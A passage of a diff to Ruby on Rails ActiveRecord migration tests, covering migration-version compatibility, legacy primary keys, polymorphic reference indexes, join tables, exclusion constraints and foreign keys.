+  def test_datetime_sets_precision_6_on_create_table
+    migration = Class.new(migration_class) {
+      def migrate(x)
+        create_table :more_testings do |t|
+          t.datetime :published_at
+        end
+      end
+    }.new
+
+    ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+    assert connection.column_exists?(:more_testings, :published_at, precision: 6)
+  ensure
+    connection.drop_table :more_testings rescue nil
+  end
+
+  def test_datetime_sets_precision_6_on_change_column
+    create_migration = Class.new(migration_class) {
+      def migrate(x)
+        create_table :more_testings do |t|
+          t.date :published_at
+        end
+      end
+    }.new(nil, 0)
+
+    change_migration = Class.new(migration_class) {
+      def migrate(x)
+        change_column :more_testings, :published_at, :datetime
+      end
+    }.new(nil, 1)
+
+    ActiveRecord::Migrator.new(:up, [create_migration, change_migration], @schema_migration, @internal_metadata).migrate
+
+    assert connection.column_exists?(:more_testings, :published_at, precision: 6)
+  ensure
+    connection.drop_table :more_testings rescue nil
+  end
+end
+
+class BaseCompatibilityTest < ActiveRecord::TestCase
+  attr_reader :connection
+
+  def setup
+    @connection = ActiveRecord::Base.lease_connection
+    @pool = ActiveRecord::Base.connection_pool
+    @schema_migration = @pool.schema_migration
+    @internal_metadata = @pool.internal_metadata
+
+    @verbose_was = ActiveRecord::Migration.verbose
+    ActiveRecord::Migration.verbose = false
+  end
+
+  def teardown
+    ActiveRecord::Migration.verbose = @verbose_was
+    @schema_migration.delete_all_versions rescue nil
+  end
+end
+
+class CompatibilityTest7_0 < BaseCompatibilityTest
+  include DefaultPrecisionSixTestCases
+  include NoOptionValidationTestCases
+
+  private
+    def migration_class
+      ActiveRecord::Migration[7.0]
+    end
+end
+
+class CompatibilityTest6_1 < BaseCompatibilityTest
+  include DefaultPrecisionImplicitTestCases
+  include NoOptionValidationTestCases
+
+  private
+    def migration_class
+      ActiveRecord::Migration[6.1]
+    end
+end
+
+class CompatibilityTest6_0 < BaseCompatibilityTest
+  include DefaultPrecisionImplicitTestCases
+  include NoOptionValidationTestCases
+
+  private
+    def migration_class
+      ActiveRecord::Migration[6.0]
+    end
+end
+
+class CompatibilityTest5_2 < BaseCompatibilityTest
+  include DefaultPrecisionImplicitTestCases
+  include NoOptionValidationTestCases
+
+  private
+    def migration_class
+      ActiveRecord::Migration[5.2]
+    end
+end
+
+class CompatibilityTest5_1 < BaseCompatibilityTest
+  include DefaultPrecisionImplicitTestCases
+  include NoOptionValidationTestCases
+
+  private
+    def migration_class
+      ActiveRecord::Migration[5.1]
+    end
+end
+
+class CompatibilityTest5_0 < BaseCompatibilityTest
+  include DefaultPrecisionImplicitTestCases
+  include NoOptionValidationTestCases
+
+  private
+    def migration_class
+      ActiveRecord::Migration[5.0]
+    end
+end
+
+class CompatibilityTest4_2 < BaseCompatibilityTest
+  include DefaultPrecisionImplicitTestCases
+  include NoOptionValidationTestCases
+
+  private
+    def migration_class
+      ActiveRecord::Migration[4.2]
+    end
+end
+
+module LegacyPolymorphicReferenceIndexTestCases
+  attr_reader :connection
+
+  def setup
+    @connection = ActiveRecord::Base.lease_connection
+    @pool = ActiveRecord::Base.connection_pool
+    @schema_migration = @pool.schema_migration
+    @internal_metadata = @pool.internal_metadata
+    @verbose_was = ActiveRecord::Migration.verbose
+    ActiveRecord::Migration.verbose = false
+
+    connection.create_table :testings, if_not_exists: true
+  end
+
+  def teardown
+    ActiveRecord::Migration.verbose = @verbose_was
+    @schema_migration.delete_all_versions rescue nil
+    connection.drop_table :testings rescue nil
+  end
+
+  def test_create_table_with_polymorphic_reference_uses_all_column_names_in_index
+    migration = Class.new(migration_class) {
+      def migrate(x)
+        create_table :more_testings do |t|
+          t.references :widget, polymorphic: true, index: true
+          t.belongs_to :gizmo, polymorphic: true, index: true
+        end
+      end
+    }.new
+
+    ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+    assert connection.index_exists?(:more_testings, [:widget_type, :widget_id], name: :index_more_testings_on_widget_type_and_widget_id)
+    assert connection.index_exists?(:more_testings, [:gizmo_type, :gizmo_id], name: :index_more_testings_on_gizmo_type_and_gizmo_id)
+  ensure
+    connection.drop_table :more_testings rescue nil
+  end
+
+  def test_change_table_with_polymorphic_reference_uses_all_column_names_in_index
+    migration = Class.new(migration_class) {
+      def migrate(x)
+        change_table :testings do |t|
+          t.references :widget, polymorphic: true, index: true
+          t.belongs_to :gizmo, polymorphic: true, index: true
+        end
+      end
+    }.new
+
+    ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+    assert connection.index_exists?(:testings, [:widget_type, :widget_id], name: :index_testings_on_widget_type_and_widget_id)
+    assert connection.index_exists?(:testings, [:gizmo_type, :gizmo_id], name: :index_testings_on_gizmo_type_and_gizmo_id)
+  end
+
+  def test_create_join_table_with_polymorphic_reference_uses_all_column_names_in_index
+    migration = Class.new(migration_class) {
+      def migrate(x)
+        create_join_table :more, :testings do |t|
+          t.references :widget, polymorphic: true, index: true
+          t.belongs_to :gizmo, polymorphic: true, index: true
+        end
+      end
+    }.new
+
+    ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+    assert connection.index_exists?(:more_testings, [:widget_type, :widget_id], name: :index_more_testings_on_widget_type_and_widget_id)
+    assert connection.index_exists?(:more_testings, [:gizmo_type, :gizmo_id], name: :index_more_testings_on_gizmo_type_and_gizmo_id)
+  ensure
+    connection.drop_table :more_testings rescue nil
+  end
+
+  def test_polymorphic_add_reference_uses_all_column_names_in_index
+    migration = Class.new(migration_class) {
+      def migrate(x)
+        add_reference :testings, :widget, polymorphic: true, index: true
+        add_belongs_to :testings, :gizmo, polymorphic: true, index: true
+      end
+    }.new
+
+    ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+    assert connection.index_exists?(:testings, [:widget_type, :widget_id], name: :index_testings_on_widget_type_and_widget_id)
+    assert connection.index_exists?(:testings, [:gizmo_type, :gizmo_id], name: :index_testings_on_gizmo_type_and_gizmo_id)
+  end
+end
+
+module LegacyPolymorphicReferenceIndexTest
+  class V6_0 < ActiveRecord::TestCase
+    include LegacyPolymorphicReferenceIndexTestCases
+
+    self.use_transactional_tests = false
+
+    private
+      def migration_class
+        ActiveRecord::Migration[6.0]
+      end
+  end
+
+  class V5_2 < V6_0
+    private
+      def migration_class
+        ActiveRecord::Migration[5.2]
+      end
+  end
+
+  class V5_1 < V6_0
+    private
+      def migration_class
+        ActiveRecord::Migration[5.1]
+      end
+  end
+
+  class V5_0 < V6_0
+    private
+      def migration_class
+        ActiveRecord::Migration[5.0]
+      end
+  end
+
+  class V4_2 < V6_0
+    private
+      def migration_class
+        ActiveRecord::Migration[4.2]
+      end
+  end
+end
+
+module LegacyPrimaryKeyTestCases
+  extend ActiveSupport::Concern
+  include SchemaDumpingHelper
+
+  class LegacyPrimaryKey < ActiveRecord::Base
+  end
+
+  included do
+    def setup
+      @migration = nil
+      @verbose_was = ActiveRecord::Migration.verbose
+      ActiveRecord::Migration.verbose = false
+    end
+
+    def teardown
+      @migration.migrate(:down) if @migration
+      ActiveRecord::Migration.verbose = @verbose_was
+      ActiveRecord::Base.connection_pool.schema_migration.delete_all_versions rescue nil
+      LegacyPrimaryKey.reset_column_information
+    end
+
+    def test_legacy_primary_key_should_be_auto_incremented
+      @migration = Class.new(migration_class) {
+        def change
+          create_table :legacy_primary_keys do |t|
+            t.references :legacy_ref
+          end
+        end
+      }.new
+
+      @migration.migrate(:up)
+
+      assert_legacy_primary_key
+
+      legacy_ref = LegacyPrimaryKey.columns_hash["legacy_ref_id"]
+      assert_not_predicate legacy_ref, :bigint?
+
+      record1 = LegacyPrimaryKey.create!
+      assert_not_nil record1.id
+
+      record1.destroy
+
+      record2 = LegacyPrimaryKey.create!
+      assert_not_nil record2.id
+      assert_operator record2.id, :>, record1.id
+    end
+
+    def test_legacy_integer_primary_key_should_not_be_auto_incremented
+      skip if current_adapter?(:SQLite3Adapter)
+
+      @migration = Class.new(migration_class) {
+        def change
+          create_table :legacy_primary_keys, id: :integer do |t|
+          end
+        end
+      }.new
+
+      @migration.migrate(:up)
+
+      assert_raises(ActiveRecord::NotNullViolation) do
+        LegacyPrimaryKey.create!
+      end
+
+      schema = dump_table_schema "legacy_primary_keys"
+      assert_match %r{create_table "legacy_primary_keys", id: :integer, default: nil}, schema
+    end
+
+    def test_legacy_primary_key_in_create_table_should_be_integer
+      @migration = Class.new(migration_class) {
+        def change
+          create_table :legacy_primary_keys, id: false do |t|
+            t.primary_key :id
+          end
+        end
+      }.new
+
+      @migration.migrate(:up)
+
+      assert_legacy_primary_key
+    end
+
+    def test_legacy_primary_key_in_change_table_should_be_integer
+      @migration = Class.new(migration_class) {
+        def change
+          create_table :legacy_primary_keys, id: false do |t|
+            t.integer :dummy
+          end
+          change_table :legacy_primary_keys do |t|
+            t.primary_key :id
+          end
+        end
+      }.new
+
+      @migration.migrate(:up)
+
+      assert_legacy_primary_key
+    end
+
+    def test_add_column_with_legacy_primary_key_should_be_integer
+      @migration = Class.new(migration_class) {
+        def change
+          create_table :legacy_primary_keys, id: false do |t|
+            t.integer :dummy
+          end
+          add_column :legacy_primary_keys, :id, :primary_key
+        end
+      }.new
+
+      @migration.migrate(:up)
+
+      assert_legacy_primary_key
+    end
+
+    def test_legacy_join_table_foreign_keys_should_be_integer
+      @migration = Class.new(migration_class) {
+        def change
+          create_join_table :apples, :bananas do |t|
+          end
+        end
+      }.new
+
+      @migration.migrate(:up)
+
+      schema = dump_table_schema "apples_bananas"
+      assert_match %r{integer "apple_id", null: false}, schema
+      assert_match %r{integer "banana_id", null: false}, schema
+    end
+
+    def test_legacy_join_table_column_options_should_be_overwritten
+      @migration = Class.new(migration_class) {
+        def change
+          create_join_table :apples, :bananas, column_options: { type: :bigint } do |t|
+          end
+        end
+      }.new
+
+      @migration.migrate(:up)
+
+      schema = dump_table_schema "apples_bananas"
+      assert_match %r{bigint "apple_id", null: false}, schema
+      assert_match %r{bigint "banana_id", null: false}, schema
+    end
+
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      def test_legacy_bigint_primary_key_should_be_auto_incremented
+        @migration = Class.new(migration_class) {
+          def change
+            create_table :legacy_primary_keys, id: :bigint
+          end
+        }.new
+
+        @migration.migrate(:up)
+
+        legacy_pk = LegacyPrimaryKey.columns_hash["id"]
+        assert_predicate legacy_pk, :bigint?
+        assert_predicate legacy_pk, :auto_increment?
+
+        schema = dump_table_schema "legacy_primary_keys"
+        assert_match %r{create_table "legacy_primary_keys", (?!id: :bigint, default: nil)}, schema
+      end
+    else
+      def test_legacy_bigint_primary_key_should_not_be_auto_incremented
+        @migration = Class.new(migration_class) {
+          def change
+            create_table :legacy_primary_keys, id: :bigint do |t|
+            end
+          end
+        }.new
+
+        @migration.migrate(:up)
+
+        assert_raises(ActiveRecord::NotNullViolation) do
+          LegacyPrimaryKey.create!
+        end
+
+        schema = dump_table_schema "legacy_primary_keys"
+        assert_match %r{create_table "legacy_primary_keys", id: :bigint, default: nil}, schema
+      end
+    end
+
+    private
+      def assert_legacy_primary_key
+        assert_equal "id", LegacyPrimaryKey.primary_key
+
+        legacy_pk = LegacyPrimaryKey.columns_hash["id"]
+
+        assert_equal :integer, legacy_pk.type
+        assert_not_predicate legacy_pk, :bigint?
+        assert_not legacy_pk.null
+
+        if current_adapter?(:Mysql2Adapter, :TrilogyAdapter, :PostgreSQLAdapter)
+          schema = dump_table_schema "legacy_primary_keys"
+          assert_match %r{create_table "legacy_primary_keys", id: :(?:integer|serial), (?!default: nil)}, schema
+        end
+      end
+  end
+end
+
+module LegacyPrimaryKeyTest
+  class V5_0 < ActiveRecord::TestCase
+    include LegacyPrimaryKeyTestCases
+
+    self.use_transactional_tests = false
+
+    private
+      def migration_class
+        ActiveRecord::Migration[5.0]
+      end
+  end
+
+  class V4_2 < ActiveRecord::TestCase
+    include LegacyPrimaryKeyTestCases
+
+    self.use_transactional_tests = false
+
+    private
+      def migration_class
+        ActiveRecord::Migration[4.2]
+      end
   end
 end
diff --git a/activerecord/test/cases/migration/create_join_table_test.rb b/activerecord/test/cases/migration/create_join_table_test.rb
index 26b1bb4419f2b..bac268f67172c 100644
--- a/activerecord/test/cases/migration/create_join_table_test.rb
+++ b/activerecord/test/cases/migration/create_join_table_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
@@ -7,12 +9,12 @@ class CreateJoinTableTest < ActiveRecord::TestCase
 
       def setup
         super
-        @connection = ActiveRecord::Base.connection
+        @connection = ActiveRecord::Base.lease_connection
       end
 
       teardown do
         %w(artists_musics musics_videos catalog).each do |table_name|
-          connection.drop_table table_name if connection.table_exists?(table_name)
+          connection.drop_table table_name, if_exists: true
         end
       end
 
@@ -67,7 +69,7 @@ def test_create_join_table_with_column_options
       def test_create_join_table_without_indexes
         connection.create_join_table :artists, :musics
 
-        assert connection.indexes(:artists_musics).blank?
+        assert_predicate connection.indexes(:artists_musics), :blank?
       end
 
       def test_create_join_table_with_index
@@ -78,46 +80,64 @@ def test_create_join_table_with_index
         assert_equal [%w(artist_id music_id)], connection.indexes(:artists_musics).map(&:columns)
       end
 
+      def test_create_join_table_respects_reference_key_type
+        connection.create_join_table :artists, :musics do |t|
+          t.references :video
+        end
+
+        artist_id, music_id, video_id = connection.columns(:artists_musics).sort_by(&:name)
+
+        assert_equal video_id.sql_type, artist_id.sql_type
+        assert_equal video_id.sql_type, music_id.sql_type
+      end
+
       def test_drop_join_table
         connection.create_join_table :artists, :musics
         connection.drop_join_table :artists, :musics
 
-        assert !connection.table_exists?("artists_musics")
+        assert_not connection.table_exists?("artists_musics")
       end
 
       def test_drop_join_table_with_strings
         connection.create_join_table :artists, :musics
         connection.drop_join_table "artists", "musics"
 
-        assert !connection.table_exists?("artists_musics")
+        assert_not connection.table_exists?("artists_musics")
       end
 
       def test_drop_join_table_with_the_proper_order
         connection.create_join_table :videos, :musics
         connection.drop_join_table :videos, :musics
 
-        assert !connection.table_exists?("musics_videos")
+        assert_not connection.table_exists?("musics_videos")
       end
 
       def test_drop_join_table_with_the_table_name
         connection.create_join_table :artists, :musics, table_name: :catalog
         connection.drop_join_table :artists, :musics, table_name: :catalog
 
-        assert !connection.table_exists?("catalog")
+        assert_not connection.table_exists?("catalog")
       end
 
       def test_drop_join_table_with_the_table_name_as_string
         connection.create_join_table :artists, :musics, table_name: "catalog"
         connection.drop_join_table :artists, :musics, table_name: "catalog"
 
-        assert !connection.table_exists?("catalog")
+        assert_not connection.table_exists?("catalog")
+      end
+
+      def test_drop_join_table_with_drop_table_options
+        assert_not connection.table_exists?("artists_musics")
+        assert_nothing_raised do
+          connection.drop_join_table :artists, :musics, if_exists: true
+        end
       end
 
       def test_drop_join_table_with_column_options
         connection.create_join_table :artists, :musics, column_options: { null: true }
         connection.drop_join_table :artists, :musics, column_options: { null: true }
 
-        assert !connection.table_exists?("artists_musics")
+        assert_not connection.table_exists?("artists_musics")
       end
 
       def test_create_and_drop_join_table_with_common_prefix
@@ -126,7 +146,7 @@ def test_create_and_drop_join_table_with_common_prefix
           assert connection.table_exists?("audio_artists_musics")
 
           connection.drop_join_table "audio_artists", "audio_musics"
-          assert !connection.table_exists?("audio_artists_musics"), "Should have dropped join table, but didn't"
+          assert_not connection.table_exists?("audio_artists_musics"), "Should have dropped join table, but didn't"
         end
       end
 
@@ -138,7 +158,6 @@ def test_create_join_table_with_uuid
       end
 
       private
-
         def with_table_cleanup
           tables_before = connection.data_sources
 
diff --git a/activerecord/test/cases/migration/exclusion_constraint_test.rb b/activerecord/test/cases/migration/exclusion_constraint_test.rb
new file mode 100644
index 0000000000000..81060d65cc462
--- /dev/null
+++ b/activerecord/test/cases/migration/exclusion_constraint_test.rb
@@ -0,0 +1,203 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+if ActiveRecord::Base.lease_connection.supports_exclusion_constraints?
+  module ActiveRecord
+    class Migration
+      class ExclusionConstraintTest < ActiveRecord::TestCase
+        include SchemaDumpingHelper
+
+        class Invoice < ActiveRecord::Base
+        end
+
+        setup do
+          @connection = ActiveRecord::Base.lease_connection
+          @connection.create_table "invoices", force: true do |t|
+            t.date :start_date
+            t.date :end_date
+          end
+        end
+
+        teardown do
+          @connection.drop_table "invoices", if_exists: true
+        end
+
+        def test_exclusion_constraints
+          expected_exclusion_constraints = [
+            {
+              table_name: "test_exclusion_constraints",
+              name: "test_exclusion_constraints_date_overlap",
+              expression: "daterange(start_date, end_date) WITH &&",
+              where: "(start_date IS NOT NULL) AND (end_date IS NOT NULL)",
+              using: :gist,
+              deferrable: false
+            }, {
+              table_name: "test_exclusion_constraints",
+              name: "test_exclusion_constraints_valid_overlap",
+              expression: "daterange(valid_from, valid_to) WITH &&",
+              where: "(valid_from IS NOT NULL) AND (valid_to IS NOT NULL)",
+              using: :gist,
+              deferrable: :immediate
+            }, {
+              table_name: "test_exclusion_constraints",
+              name: "test_exclusion_constraints_transaction_overlap",
+              expression: "daterange(transaction_from, transaction_to) WITH &&",
+              where: "(transaction_from IS NOT NULL) AND (transaction_to IS NOT NULL)",
+              using: :gist,
+              deferrable: :deferred
+            }
+          ]
+
+          exclusion_constraints = @connection.exclusion_constraints("test_exclusion_constraints")
+          assert_equal expected_exclusion_constraints.size, exclusion_constraints.size
+
+          expected_exclusion_constraints.each do |expected_constraint|
+            constraint = exclusion_constraints.find { |constraint| constraint.name == expected_constraint[:name] }
+            assert_equal expected_constraint[:table_name], constraint.table_name
+            assert_equal expected_constraint[:name], constraint.name
+            assert_equal expected_constraint[:expression], constraint.expression
+            assert_equal expected_constraint[:using], constraint.using
+            assert_equal expected_constraint[:where], constraint.where
+            assert_equal expected_constraint[:deferrable], constraint.deferrable
+          end
+        end
+
+        def test_exclusion_constraints_scoped_to_schemas
+          @connection.add_exclusion_constraint :invoices, "daterange(start_date, end_date) WITH &&", using: :gist
+
+          assert_no_changes -> { @connection.exclusion_constraints("invoices").size } do
+            @connection.create_schema "test_schema"
+            @connection.create_table "test_schema.invoices" do |t|
+              t.date :start_date
+              t.date :end_date
+            end
+            @connection.add_exclusion_constraint "test_schema.invoices", "daterange(start_date, end_date) WITH &&", using: :gist
+          end
+        ensure
+          @connection.drop_schema "test_schema"
+        end
+
+        def test_add_exclusion_constraint
+          @connection.add_exclusion_constraint :invoices, "daterange(start_date, end_date) WITH &&", using: :gist
+
+          exclusion_constraints = @connection.exclusion_constraints("invoices")
+          assert_equal 1, exclusion_constraints.size
+
+          constraint = exclusion_constraints.first
+          assert_equal "invoices", constraint.table_name
+          assert_equal "excl_rails_74c9160f55", constraint.name
+          assert_equal false, constraint.deferrable
+          assert_equal "daterange(start_date, end_date) WITH &&", constraint.expression
+        end
+
+        def test_add_exclusion_constraint_deferrable_false
+          @connection.add_exclusion_constraint :invoices, "daterange(start_date, end_date) WITH &&", using: :gist, deferrable: false
+
+          exclusion_constraints = @connection.exclusion_constraints("invoices")
+          assert_equal 1, exclusion_constraints.size
+
+          constraint = exclusion_constraints.first
+          assert_equal "invoices", constraint.table_name
+          assert_equal "excl_rails_74c9160f55", constraint.name
+          assert_equal false, constraint.deferrable
+          assert_equal "daterange(start_date, end_date) WITH &&", constraint.expression
+        end
+
+        def test_add_exclusion_constraint_deferrable_initially_immediate
+          @connection.add_exclusion_constraint :invoices, "daterange(start_date, end_date) WITH &&", using: :gist, deferrable: :immediate
+
+          exclusion_constraints = @connection.exclusion_constraints("invoices")
+          assert_equal 1, exclusion_constraints.size
+
+          constraint = exclusion_constraints.first
+          assert_equal "invoices", constraint.table_name
+          assert_equal "excl_rails_74c9160f55", constraint.name
+          assert_equal :immediate, constraint.deferrable
+          assert_equal "daterange(start_date, end_date) WITH &&", constraint.expression
+        end
+
+        def test_add_exclusion_constraint_deferrable_initially_deferred
+          @connection.add_exclusion_constraint :invoices, "daterange(start_date, end_date) WITH &&", using: :gist, deferrable: :deferred
+
+          exclusion_constraints = @connection.exclusion_constraints("invoices")
+          assert_equal 1, exclusion_constraints.size
+
+          constraint = exclusion_constraints.first
+          assert_equal "invoices", constraint.table_name
+          assert_equal "excl_rails_74c9160f55", constraint.name
+          assert_equal :deferred, constraint.deferrable
+          assert_equal "daterange(start_date, end_date) WITH &&", constraint.expression
+        end
+
+        def test_add_exclusion_constraint_deferrable_invalid
+          error = assert_raises(ArgumentError) do
+            @connection.add_exclusion_constraint :invoices, "daterange(start_date, end_date) WITH &&", using: :gist, deferrable: true
+          end
+
+          assert_equal "deferrable must be `:immediate` or `:deferred`, got: `true`", error.message
+        end
+
+        def test_added_exclusion_constraint_ensures_valid_values
+          @connection.add_exclusion_constraint :invoices, "daterange(start_date, end_date) WITH &&", using: :gist
+
+          Invoice.create(start_date: "2020-01-01", end_date: "2021-01-01")
+
+          assert_raises(ActiveRecord::ExclusionViolation) do
+            Invoice.create(start_date: "2020-12-31", end_date: "2021-01-01")
+          end
+        end
+
+        def test_added_deferrable_initially_immediate_exclusion_constraint
+          @connection.add_exclusion_constraint :invoices, "daterange(start_date, end_date) WITH &&", using: :gist, deferrable: :immediate, name: "invoices_date_overlap"
+
+          invoice = Invoice.create(start_date: "2020-01-01", end_date: "2021-01-01")
+
+          assert_raises(ActiveRecord::ExclusionViolation) do
+            Invoice.transaction(requires_new: true) do
+              Invoice.create!(start_date: "2020-12-31", end_date: "2021-01-01")
+            end
+          end
+
+          assert_nothing_raised do
+            Invoice.transaction(requires_new: true) do
+              Invoice.lease_connection.set_constraints(:deferred, "invoices_date_overlap")
+              Invoice.create!(start_date: "2020-12-31", end_date: "2021-01-01")
+              invoice.update!(end_date: "2020-12-31")
+
+              # NOTE: Clear `SET CONSTRAINTS` statement at the end of transaction.
+              raise ActiveRecord::Rollback
+            end
+          end
+        end
+
+        def test_remove_exclusion_constraint
+          assert_equal 0, @connection.exclusion_constraints("invoices").size
+
+          @connection.add_exclusion_constraint :invoices, "daterange(start_date, end_date) WITH &&", using: :gist, name: "invoices_date_overlap"
+          assert_equal 1, @connection.exclusion_constraints("invoices").size
+          @connection.remove_exclusion_constraint :invoices, name: "invoices_date_overlap"
+          assert_equal 0, @connection.exclusion_constraints("invoices").size
+        end
+
+        def test_remove_non_existing_exclusion_constraint
+          assert_raises(ArgumentError) do
+            @connection.remove_exclusion_constraint :invoices, name: "nonexistent"
+          end
+        end
+
+        def test_exclusion_constraint_violation_on_update
+          @connection.add_exclusion_constraint :invoices, "daterange(start_date, end_date) WITH &&", using: :gist, name: "invoices_date_overlap"
+
+          Invoice.create(start_date: "2020-01-01", end_date: "2021-01-01")
+          invoice = Invoice.create(start_date: "2022-01-01", end_date: "2023-01-01")
+
+          assert_raises(ActiveRecord::ExclusionViolation) do
+            invoice.update(start_date: "2020-12-31", end_date: "2021-01-01")
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/foreign_key_test.rb b/activerecord/test/cases/migration/foreign_key_test.rb
index 7762d37915efd..e220044620425 100644
--- a/activerecord/test/cases/migration/foreign_key_test.rb
+++ b/activerecord/test/cases/migration/foreign_key_test.rb
@@ -1,12 +1,14 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 
-if ActiveRecord::Base.connection.supports_foreign_keys_in_create?
+if ActiveRecord::Base.lease_connection.supports_foreign_keys?
   module ActiveRecord
     class Migration
       class ForeignKeyInCreateTest < ActiveRecord::TestCase
         def test_foreign_keys
-          foreign_keys = ActiveRecord::Base.connection.foreign_keys("fk_test_has_fk")
+          foreign_keys = ActiveRecord::Base.lease_connection.foreign_keys("fk_test_has_fk")
           assert_equal 1, foreign_keys.size
 
           fk = foreign_keys.first
@@ -17,11 +19,151 @@ def test_foreign_keys
           assert_equal "fk_name", fk.name unless current_adapter?(:SQLite3Adapter)
         end
       end
+
+      class ForeignKeyChangeColumnTest < ActiveRecord::TestCase
+        self.use_transactional_tests = false
+
+        class Rocket < ActiveRecord::Base
+          has_many :astronauts
+        end
+
+        class Astronaut < ActiveRecord::Base
+          belongs_to :rocket
+        end
+
+        class CreateRocketsMigration < ActiveRecord::Migration::Current
+          def change
+            create_table :rockets do |t|
+              t.string :name
+            end
+
+            create_table :astronauts do |t|
+              t.string :name
+              t.references :rocket, foreign_key: true
+            end
+          end
+        end
+
+        def setup
+          @connection = ActiveRecord::Base.lease_connection
+          @migration = CreateRocketsMigration.new
+          silence_stream($stdout) { @migration.migrate(:up) }
+          Rocket.reset_table_name
+          Rocket.reset_column_information
+          Astronaut.reset_table_name
+          Astronaut.reset_column_information
+        end
+
+        def teardown
+          silence_stream($stdout) { @migration.migrate(:down) }
+          Rocket.reset_table_name
+          Rocket.reset_column_information
+          Astronaut.reset_table_name
+          Astronaut.reset_column_information
+        end
+
+        def test_change_column_of_parent_table
+          rocket = Rocket.create!(name: "myrocket")
+          rocket.astronauts << Astronaut.create!
+
+          @connection.change_column_null Rocket.table_name, :name, false
+
+          foreign_keys = @connection.foreign_keys(Astronaut.table_name)
+          assert_equal 1, foreign_keys.size
+
+          fk = foreign_keys.first
+          assert_equal "myrocket", Rocket.first.name
+          assert_equal Astronaut.table_name, fk.from_table
+          assert_equal Rocket.table_name, fk.to_table
+        end
+
+        def test_rename_column_of_child_table
+          rocket = Rocket.create!(name: "myrocket")
+          rocket.astronauts << Astronaut.create!
+
+          @connection.rename_column Astronaut.table_name, :name, :astronaut_name
+
+          foreign_keys = @connection.foreign_keys(Astronaut.table_name)
+          assert_equal 1, foreign_keys.size
+
+          fk = foreign_keys.first
+          assert_equal "myrocket", Rocket.first.name
+          assert_equal Astronaut.table_name, fk.from_table
+          assert_equal Rocket.table_name, fk.to_table
+        end
+
+        def test_rename_reference_column_of_child_table
+          if current_adapter?(:Mysql2Adapter, :TrilogyAdapter) && !@connection.send(:supports_rename_index?)
+            skip "Cannot drop index, needed in a foreign key constraint"
+          end
+
+          rocket = Rocket.create!(name: "myrocket")
+          rocket.astronauts << Astronaut.create!
+
+          @connection.rename_column Astronaut.table_name, :rocket_id, :new_rocket_id
+
+          foreign_keys = @connection.foreign_keys(Astronaut.table_name)
+          assert_equal 1, foreign_keys.size
+
+          fk = foreign_keys.first
+          assert_equal "myrocket", Rocket.first.name
+          assert_equal Astronaut.table_name, fk.from_table
+          assert_equal Rocket.table_name, fk.to_table
+          assert_equal "new_rocket_id", fk.options[:column]
+        end
+
+        def test_remove_reference_column_of_child_table
+          rocket = Rocket.create!(name: "myrocket")
+          rocket.astronauts << Astronaut.create!
+
+          @connection.remove_column Astronaut.table_name, :rocket_id
+
+          assert_empty @connection.foreign_keys(Astronaut.table_name)
+        end
+
+        def test_remove_foreign_key_by_column
+          rocket = Rocket.create!(name: "myrocket")
+          rocket.astronauts << Astronaut.create!
+
+          @connection.remove_foreign_key Astronaut.table_name, column: :rocket_id
+
+          assert_empty @connection.foreign_keys(Astronaut.table_name)
+        end
+
+        def test_remove_foreign_key_by_column_in_change_table
+          rocket = Rocket.create!(name: "myrocket")
+          rocket.astronauts << Astronaut.create!
+
+          @connection.change_table Astronaut.table_name do |t|
+            t.remove_foreign_key column: :rocket_id
+          end
+
+          assert_empty @connection.foreign_keys(Astronaut.table_name)
+        end
+      end
+
+      class ForeignKeyChangeColumnWithPrefixTest < ForeignKeyChangeColumnTest
+        setup do
+          ActiveRecord::Base.table_name_prefix = "p_"
+        end
+
+        teardown do
+          ActiveRecord::Base.table_name_prefix = nil
+        end
+      end
+
+      class ForeignKeyChangeColumnWithSuffixTest < ForeignKeyChangeColumnTest
+        setup do
+          ActiveRecord::Base.table_name_suffix = "_s"
+        end
+
+        teardown do
+          ActiveRecord::Base.table_name_suffix = nil
+        end
+      end
     end
   end
-end
 
-if ActiveRecord::Base.connection.supports_foreign_keys?
   module ActiveRecord
     class Migration
       class ForeignKeyTest < ActiveRecord::TestCase
@@ -35,20 +177,21 @@ class Astronaut < ActiveRecord::Base
         end
 
         setup do
-          @connection = ActiveRecord::Base.connection
+          @connection = ActiveRecord::Base.lease_connection
           @connection.create_table "rockets", force: true do |t|
             t.string :name
           end
 
           @connection.create_table "astronauts", force: true do |t|
             t.string :name
-            t.references :rocket
+            t.references :rocket, type: :bigint
+            t.references :favorite_rocket
           end
         end
 
         teardown do
-          @connection.drop_table "astronauts", if_exists: true
-          @connection.drop_table "rockets", if_exists: true
+          @connection.drop_table "astronauts", if_exists: true rescue nil
+          @connection.drop_table "rockets", if_exists: true rescue nil
         end
 
         def test_foreign_keys
@@ -60,7 +203,7 @@ def test_foreign_keys
           assert_equal "fk_test_has_pk", fk.to_table
           assert_equal "fk_id", fk.column
           assert_equal "pk_id", fk.primary_key
-          assert_equal "fk_name", fk.name
+          assert_equal "fk_name", fk.name unless current_adapter?(:SQLite3Adapter)
         end
 
         def test_add_foreign_key_inferes_column
@@ -74,7 +217,7 @@ def test_add_foreign_key_inferes_column
           assert_equal "rockets", fk.to_table
           assert_equal "rocket_id", fk.column
           assert_equal "id", fk.primary_key
-          assert_equal("fk_rails_78146ddd2e", fk.name)
+          assert_equal "fk_rails_78146ddd2e", fk.name unless current_adapter?(:SQLite3Adapter)
         end
 
         def test_add_foreign_key_with_column
@@ -88,7 +231,49 @@ def test_add_foreign_key_with_column
           assert_equal "rockets", fk.to_table
           assert_equal "rocket_id", fk.column
           assert_equal "id", fk.primary_key
-          assert_equal("fk_rails_78146ddd2e", fk.name)
+          assert_equal "fk_rails_78146ddd2e", fk.name unless current_adapter?(:SQLite3Adapter)
+        end
+
+        def test_add_foreign_key_with_if_not_exists_to_already_referenced_table
+          @connection.add_foreign_key :astronauts, :rockets, column: "favorite_rocket_id"
+          @connection.add_foreign_key :astronauts, :rockets, if_not_exists: true
+
